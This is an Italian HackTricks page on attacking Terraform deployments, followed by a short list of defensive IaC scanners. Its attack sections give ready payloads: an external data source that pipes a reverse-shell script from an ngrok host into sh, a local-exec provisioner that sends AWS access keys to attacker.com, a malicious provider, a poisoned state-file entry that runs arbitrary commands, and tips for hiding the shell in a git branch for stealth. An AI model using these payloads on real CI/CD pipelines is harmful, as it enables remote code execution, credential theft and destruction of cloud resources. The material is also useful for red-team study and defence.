Sicurezza di Terraform

Reading time: 14 minutes

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Informazioni di base

Dal documento:

HashiCorp Terraform è uno strumento di infrastruttura come codice che ti consente di definire sia risorse cloud che on-prem in file di configurazione leggibili dall'uomo che puoi versionare, riutilizzare e condividere. Puoi quindi utilizzare un flusso di lavoro coerente per fornire e gestire tutta la tua infrastruttura durante il suo ciclo di vita. Terraform può gestire componenti a basso livello come risorse di calcolo, archiviazione e rete, così come componenti ad alto livello come voci DNS e funzionalità SaaS.

Come funziona Terraform?

Terraform crea e gestisce risorse su piattaforme cloud e altri servizi attraverso le loro interfacce di programmazione delle applicazioni (API). I provider consentono a Terraform di lavorare con praticamente qualsiasi piattaforma o servizio con un'API accessibile.

HashiCorp e la comunità di Terraform hanno già scritto più di 1700 provider per gestire migliaia di diversi tipi di risorse e servizi, e questo numero continua a crescere. Puoi trovare tutti i provider disponibili pubblicamente nel Terraform Registry, inclusi Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog e molti altri.

Il flusso di lavoro principale di Terraform consiste in tre fasi:

  • Scrivi: Definisci risorse, che possono essere distribuite su più provider e servizi cloud. Ad esempio, potresti creare una configurazione per distribuire un'applicazione su macchine virtuali in una rete Virtual Private Cloud (VPC) con gruppi di sicurezza e un bilanciatore di carico.
  • Pianifica: Terraform crea un piano di esecuzione che descrive l'infrastruttura che creerà, aggiornerà o distruggerà in base all'infrastruttura esistente e alla tua configurazione.
  • Applica: Su approvazione, Terraform esegue le operazioni proposte nell'ordine corretto, rispettando eventuali dipendenze delle risorse. Ad esempio, se aggiorni le proprietà di un VPC e cambi il numero di macchine virtuali in quel VPC, Terraform ricreerà il VPC prima di scalare le macchine virtuali.

Laboratorio Terraform

Basta installare terraform sul tuo computer.

Qui hai una guida e qui hai il modo migliore per scaricare terraform.

RCE in Terraform: avvelenamento del file di configurazione

Terraform non ha una piattaforma che espone una pagina web o un servizio di rete che possiamo enumerare, quindi, l'unico modo per compromettere terraform è essere in grado di aggiungere/modificare i file di configurazione di terraform o essere in grado di modificare il file di stato di terraform (vedi capitolo qui sotto).

Tuttavia, terraform è un componente molto sensibile da compromettere perché avrà accesso privilegiato a diverse posizioni affinché possa funzionare correttamente.

Il modo principale per un attaccante di compromettere il sistema in cui terraform è in esecuzione è compromettere il repository che memorizza le configurazioni di terraform, perché a un certo punto verranno interpretate.

In realtà, ci sono soluzioni là fuori che eseguono automaticamente terraform plan/apply dopo che è stata creata una PR, come Atlantis:

Atlantis Security

Se riesci a compromettere un file terraform, ci sono diversi modi in cui puoi eseguire RCE quando qualcuno esegue terraform plan o terraform apply.

Terraform plan

Terraform plan è il comando più utilizzato in terraform e gli sviluppatori/soluzioni che utilizzano terraform lo chiamano tutto il tempo, quindi il modo più semplice per ottenere RCE è assicurarsi di avvelenare un file di configurazione terraform che eseguirà comandi arbitrari in un terraform plan.

Utilizzando un provider esterno

Terraform offre il provider esterno che fornisce un modo per interfacciarsi tra Terraform e programmi esterni. Puoi utilizzare la sorgente dati esterno per eseguire codice arbitrario durante un plan.

Iniettando in un file di configurazione terraform qualcosa di simile al seguente eseguirà una rev shell quando si esegue terraform plan:

javascript
data "external" "example" {
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
}

Utilizzando un provider personalizzato

Un attaccante potrebbe inviare un custom provider al Terraform Registry e poi aggiungerlo al codice Terraform in un branch di funzionalità (esempio da qui):

javascript
terraform {
required_providers {
evil = {
source  = "evil/evil"
version = "1.0"
}
}
}

provider "evil" {}

Il provider viene scaricato nell'init e eseguirà il codice malevolo quando viene eseguito il plan.

Puoi trovare un esempio in https://github.com/rung/terraform-provider-cmdexec

Utilizzando un riferimento esterno

Entrambe le opzioni menzionate sono utili ma non molto furtive (la seconda è più furtiva ma più complessa della prima). Puoi eseguire questo attacco anche in un modo più furtivo, seguendo questi suggerimenti:

  • Invece di aggiungere direttamente la rev shell nel file terraform, puoi caricare una risorsa esterna che contiene la rev shell:
javascript
module "not_rev_shell" {
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
}

Puoi trovare il codice rev shell in https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules

  • Nella risorsa esterna, usa la funzione ref per nascondere il codice rev shell terraform in un branch all'interno del repo, qualcosa come: git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b

Terraform Apply

Terraform apply verrà eseguito per applicare tutte le modifiche, puoi anche abusarne per ottenere RCE iniettando un file Terraform malevolo con local-exec.
Devi solo assicurarti che qualche payload come i seguenti termini nel file main.tf:

json
// Payload 1 to just steal a secret
resource "null_resource" "secret_stealer" {
provisioner "local-exec" {
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
}
}

// Payload 2 to get a rev shell
resource "null_resource" "rev_shell" {
provisioner "local-exec" {
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
}
}

Segui le suggerimenti della tecnica precedente per eseguire questo attacco in modo più furtivo utilizzando riferimenti esterni.

Dump di Segreti

Puoi avere valori segreti utilizzati da terraform dumpati eseguendo terraform apply aggiungendo al file terraform qualcosa come:

json
output "dotoken" {
value = nonsensitive(var.do_token)
}

Abusare dei file di stato di Terraform

Nel caso tu abbia accesso in scrittura ai file di stato di terraform ma non possa modificare il codice terraform, questa ricerca offre alcune opzioni interessanti per sfruttare il file. Anche se avessi accesso in scrittura ai file di configurazione, utilizzare il vettore dei file di stato è spesso molto più subdolo, poiché non lasci tracce nella cronologia di git.

RCE in Terraform: avvelenamento del file di configurazione

È possibile creare un provider personalizzato e semplicemente sostituire uno dei provider nel file di stato di terraform con quello malevolo o aggiungere una risorsa falsa che fa riferimento al provider malevolo.

Il provider statefile-rce si basa sulla ricerca e arma questo principio. Puoi aggiungere una risorsa falsa e dichiarare il comando bash arbitrario che desideri eseguire nell'attributo command. Quando viene attivato il run di terraform, questo verrà letto ed eseguito sia nei passaggi terraform plan che terraform apply. Nel caso del passaggio terraform apply, terraform eliminerà la risorsa falsa dal file di stato dopo aver eseguito il tuo comando, ripulendo dopo se stesso. Maggiori informazioni e una demo completa possono essere trovate nel repository GitHub che ospita il codice sorgente per questo provider.

Per usarlo direttamente, basta includere quanto segue in qualsiasi posizione dell'array resources e personalizzare gli attributi name e command:

json
{
"mode": "managed",
"type": "rce",
"name": "<arbitrary_name>",
"provider": "provider[\"registry.terraform.io/offensive-actions/statefile-rce\"]",
"instances": [
{
"schema_version": 0,
"attributes": {
"command": "<arbitrary_command>",
"id": "rce"
},
"sensitive_attributes": [],
"private": "bnVsbA=="
}
]
}

Poi, non appena terraform viene eseguito, il tuo codice verrà eseguito.

Eliminazione delle risorse

Ci sono 2 modi per distruggere le risorse:

  1. Inserire una risorsa con un nome casuale nel file di stato che punta alla risorsa reale da distruggere

Poiché terraform vedrà che la risorsa non dovrebbe esistere, la distruggerà (seguendo l'ID della risorsa reale indicato). Esempio dalla pagina precedente:

json
{
"mode": "managed",
"type": "aws_instance",
"name": "example",
"provider": "provider[\"registry.terraform.io/hashicorp/aws\"]",
"instances": [
{
"attributes": {
"id": "i-1234567890abcdefg"
}
}
]
},
  1. Modifica la risorsa da eliminare in un modo che non sia possibile aggiornare (quindi verrà eliminata e ricreata)

Per un'istanza EC2, modificare il tipo dell'istanza è sufficiente per far sì che terraform la elimini e la ricrei.

Sostituisci il provider in blacklist

Nel caso in cui ti trovi in una situazione in cui hashicorp/external è stato messo in blacklist, puoi re-implementare il provider external facendo quanto segue. Nota: utilizziamo un fork del provider esterno pubblicato da https://registry.terraform.io/providers/nazarewk/external/latest. Puoi pubblicare anche il tuo fork o re-implementazione.

terraform
terraform {
required_providers {
external = {
source  = "nazarewk/external"
version = "3.0.0"
}
}
}

Quindi puoi usare external come al solito.

terraform
data "external" "example" {
program = ["sh", "-c", "whoami"]
}

Strumenti di Audit Automatici

Snyk Infrastructure as Code (IaC)

Snyk offre una soluzione completa di scansione per Infrastructure as Code (IaC) che rileva vulnerabilità e misconfigurazioni in Terraform, CloudFormation, Kubernetes e altri formati IaC.

  • Caratteristiche:
  • Scansione in tempo reale per vulnerabilità di sicurezza e problemi di conformità.
  • Integrazione con sistemi di controllo versione (GitHub, GitLab, Bitbucket).
  • Pull request per correzioni automatiche.
  • Consigli dettagliati per la remediation.
  • Registrati: Crea un account su Snyk.
bash
brew tap snyk/tap
brew install snyk
snyk auth
snyk iac test /path/to/terraform/code

Checkov

Checkov è uno strumento di analisi statica del codice per l'infrastruttura come codice (IaC) e anche uno strumento di analisi della composizione del software (SCA) per immagini e pacchetti open source.

Scansiona l'infrastruttura cloud fornita utilizzando Terraform, Terraform plan, Cloudformation, AWS SAM, Kubernetes, Helm charts, Kustomize, Dockerfile, Serverless, Bicep, OpenAPI, ARM Templates o OpenTofu e rileva configurazioni errate di sicurezza e conformità utilizzando la scansione basata su grafi.

Esegue la scansione dell'analisi della composizione del software (SCA), che è una scansione di pacchetti open source e immagini per Vulnerabilità e Esposizioni Comuni (CVE).

bash
pip install checkov
checkov -d /path/to/folder

terraform-compliance

Dalla docs: terraform-compliance è un framework di test leggero, focalizzato sulla sicurezza e sulla conformità, contro terraform per abilitare la capacità di test negativi per la tua infrastruttura come codice.

  • compliance: Assicurati che il codice implementato segua gli standard di sicurezza, i tuoi standard personalizzati
  • behaviour driven development: Abbiamo BDD per quasi tutto, perché non per IaC?
  • portable: basta installarlo da pip o eseguirlo tramite docker. Vedi Installation
  • pre-deploy: valida il tuo codice prima che venga distribuito
  • easy to integrate: può essere eseguito nella tua pipeline (o nei git hooks) per garantire che tutte le distribuzioni siano validate.
  • segregation of duty: puoi mantenere i tuoi test in un repository diverso dove un team separato è responsabile.

note

Sfortunatamente, se il codice utilizza alcuni provider a cui non hai accesso, non sarai in grado di eseguire il terraform plan e utilizzare questo strumento.

bash
pip install terraform-compliance
terraform plan -out=plan.out
terraform-compliance -f /path/to/folder

tfsec

Dalla docs: tfsec utilizza l'analisi statica del tuo codice terraform per individuare potenziali misconfigurazioni.

  • ☁️ Controlla le misconfigurazioni su tutti i principali (e alcuni minori) fornitori di cloud
  • ⛔ Centinaia di regole integrate
  • 🪆 Scansione dei moduli (locali e remoti)
  • ➕ Valuta le espressioni HCL così come i valori letterali
  • ↪️ Valuta le funzioni Terraform ad es. concat()
  • 🔗 Valuta le relazioni tra le risorse Terraform
  • 🧰 Compatibile con il Terraform CDK
  • 🙅 Applica (e abbellisce) le politiche Rego definite dall'utente
  • 📃 Supporta più formati di output: lovely (predefinito), JSON, SARIF, CSV, CheckStyle, JUnit, testo, Gif.
  • 🛠️ Configurabile (tramite flag CLI e/o file di configurazione)
  • ⚡ Molto veloce, capace di scansionare rapidamente enormi repository
bash
brew install tfsec
tfsec /path/to/folder

KICKS

Trova vulnerabilità di sicurezza, problemi di conformità e misconfigurazioni dell'infrastruttura precocemente nel ciclo di sviluppo della tua infrastruttura-as-code con KICS di Checkmarx.

KICS sta per Keeping Infrastructure as Code Secure, è open source ed è un must-have per qualsiasi progetto cloud native.

bash
docker run -t -v $(pwd):/path checkmarx/kics:latest scan -p /path -o "/path/"

Terrascan

Dalla documentazione: Terrascan è un analizzatore di codice statico per Infrastructure as Code. Terrascan ti consente di:

  • Scansionare senza problemi l'infrastruttura come codice per configurazioni errate.
  • Monitorare l'infrastruttura cloud provisionata per cambiamenti di configurazione che introducono deviazioni di postura e consente di tornare a una postura sicura.
  • Rilevare vulnerabilità di sicurezza e violazioni di conformità.
  • Mitigare i rischi prima di provisionare l'infrastruttura cloud nativa.
  • Offrire flessibilità per eseguire localmente o integrarsi con il tuo CI\CD.
bash
brew install terrascan

Riferimenti

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks